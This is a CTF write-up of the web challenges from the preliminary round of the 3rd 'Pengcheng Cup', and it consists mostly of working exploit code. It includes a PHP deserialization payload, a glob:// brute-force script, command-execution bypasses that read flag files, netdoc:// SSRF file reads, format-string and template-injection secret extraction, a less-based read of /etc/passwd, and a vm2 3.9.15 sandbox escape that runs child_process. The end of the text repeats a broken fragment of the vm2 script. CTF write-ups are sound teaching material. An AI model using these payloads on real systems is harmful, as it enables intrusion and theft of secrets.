The 3rd "Pengcheng Cup" (Preliminary Round)
WEB
Web-web1
Deserialize tostring and hit Hack class
Payload:O%3A1%3A%22H%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A6%3A%22Hacker%22%3A2%3A%7Bs%3A11%3A%22%00Hacker%00exp%22%3BN%3Bs%3A11%3A%22%00Hacker%00cmd%22%3BN%3B%7D%7D
Web-web2
This question found backdoor_[a-f0-9]{16}.php this
glob:// comes to mind (glob:// — finds matching file path pattern)
Then I wrote a python script to blast the path
import requests
url = "http://172.10.0.5/"
Harder = "abcdef0123456789."
target = "glob://backdoor_"
for i in range(1,66):
for j in Harder:
poc = target +str(j) +"*"
payload ={
"filename":poc
}
# print(j)
req = requests.post(url=url,data=payload)
if "yesyesyes!!!" in req.text:
tar_file = target +str(j)
print(tar_file)
break
else:
print("nonononono")
/backdoor_00fbc51dcdf9eef767597fd26119a894.php
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['username'])){
$sandbox = '/var/www/html/sandbox/'.md5("5050f6511ffb64e1914be4ca8b9d585c".$_GET['username']).'/';
mkdir($sandbox);
chdir($sandbox);
if(isset($_GET['title'])&&isset($_GET['data'])){
$data = $_GET['data'];
$title= $_GET['title'];
if (strlen($data)>5||strlen($title)>3){
die("no!no!no!");
}
file_put_contents($sandbox.$title,$data);
if (strlen(file_get_contents($title)) <= 10) {
system('php '.$sandbox.$title);
}
else{
system('rm '.$sandbox.$title);
die("no!no!no!");
}
}
else if (isset($_GET['reset'])) {
system('/bin/rm -rf ' . $sandbox);
}
}
?>
Simple bypass, array bypass
/backdoor_00fbc51dcdf9eef767597fd26119a894.php?username=admin&title[]=1.php&data[]=%3C?=`cat%20/f*`;
Web-HTTP
In this question, by scanning the route, I found that there is this /proxy/url route passing url parameters.
I tried ssrf, but there was no request for smuggling, so I searched on Google and found that netdoc can read files.
file protocol can also be read
url:netdoc can bypass filtering
/proxy/url?url=url%3Anetdoc%3A%2Fflag%23.html
Web-Escape
This question is the original question. There are two solutions to the original question but this question does not work. First of all, I don’t know if there is a flag in secret.html. Second, the length of the original question is 7, but the length of this question is 16. It needs Explosion 10 to the 16th power, this path of explosion will definitely not work.
Post a modified script of the first solution:
import requests
import os
# hashcat -m 1700 -a 0 hash password.txt --show
payload = '{passhash.__str__.__globals__[passhash]}'
url = "http://172.10.0.5:10000/?username=%s&password=anything" % payload
r = requests.get(url)
output = r.text
hash_start = output.find("user '") + len("user '")
hash_end = output.find("'", hash_start)
admin_hash = output[hash_start:hash_end]
with open("hash", "w") as f:
f.write(admin_hash)
print(admin_hash)
def create_salt_wordlist():
with open('wordlist.txt', 'w') as f:
for i in range(10000000000000000):
padded_number = str(i).zfill(16)
salted_string = "****************" + padded_number
f.write(salted_string + "\n")
print("Created salt wordlist in wordlist.txt")
create_salt_wordlist()
def crack_hash():
choose_tool = input("""1.Hashcat \n2.John_The_Ripper \nWhat tool do you want to use to crack?: """)
if choose_tool == "1":
hashcat = "hashcat -m 1700 -a 0 hash wordlist.txt"
hashcat_output = os.system(hashcat)
print(hashcat_output)
if choose_tool == "2":
john_the_ripper = "john --format=raw-sha512 --wordlist=wordlist.txt hash"
john_the_ripper_output = os.system(john_the_ripper)
print(john_the_ripper_output)
elif choose_tool != "1" and "2":
print("Error")
crack_hash()
print("After you get cracked password remove the `very_secure_salt` since it will always contains by default in app and take the numbers behind as password and login with it")
Then we have the second solution, format string vulnerability to obtain environment variables
username=%7Bpasshash.__str__.__globals__%5Bapp%5D.wsgi_app.__globals__%5Bos%5D.environ%7D&password=1
Web-Tera
This question goes directly to the script
import requests
res=''
j=5
while True:
j+=1
for i in range(32,127):
data=f"""
{
{% set res = get_env(name="fl"~"ag") %}}
{
{%- if res|truncate(length={
j},end='') == 'fla'~'g{
{'~'{
res+chr(i)}' -%}}
www
{
{%- endif -%}}
"""
r=requests.post(url="http://172.10.0.3:8081/",data=data)
s=r.text
if "www" in s:
res+=chr(i)
print("flag{"+res)
break
Web-simple_rpc
This question supports less templates
Reference: https://mp.weixin.qq.com/s/EqEyEDKpzxS5BYA_t74p9A
https://www.yuque.com/dat0u/ctf/gupiindgyz7vodib#UIsP7
vm2 3.9.15 escape
.test {
content: data-uri('/etc/passwd');
}
Read the payload of the file
read the file
● /app/app.js
● /app/rpc.js
● /app/eval.proto
● /app/package.json
Then I found that vm2 is version 3.9.15
var grpc = require('@grpc/grpc-js');
var protoLoader = require('@grpc/proto-loader');
var PROTO_PATH = __dirname + '/eval.proto';
var packageDefinition = protoLoader.loadSync(
PROTO_PATH,
{
keepCase: true,
longs: String,
enums: String,
defaults: true,
oneofs: true
});
var hello_proto = grpc.loadPackageDefinition(packageDefinition).helloworld;
function main() {
var client = new hello_proto.Demo('172.10.0.6:8082', grpc.credentials.createInsecure())
client.evalTemplate({
message: 'Hello',template: `aVM2_INTERNAL_TMPNAME = {};
function stack() {
new Error().stack;
stack();
}
try {
stack();
} catch (a$tmpname) {
a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('/readflag');
}` }, function(err, response) {
if (err) {
console.error('Error: ', err)
} else {
console.log(response)
}
})
}
main()
).mainModule.require(‘child_process’).execSync(‘/readflag’);
}` }, function(err, response) {
if (err) {
console.error('Error: ', err)
} else {
console.log(response)
}
})
}
main()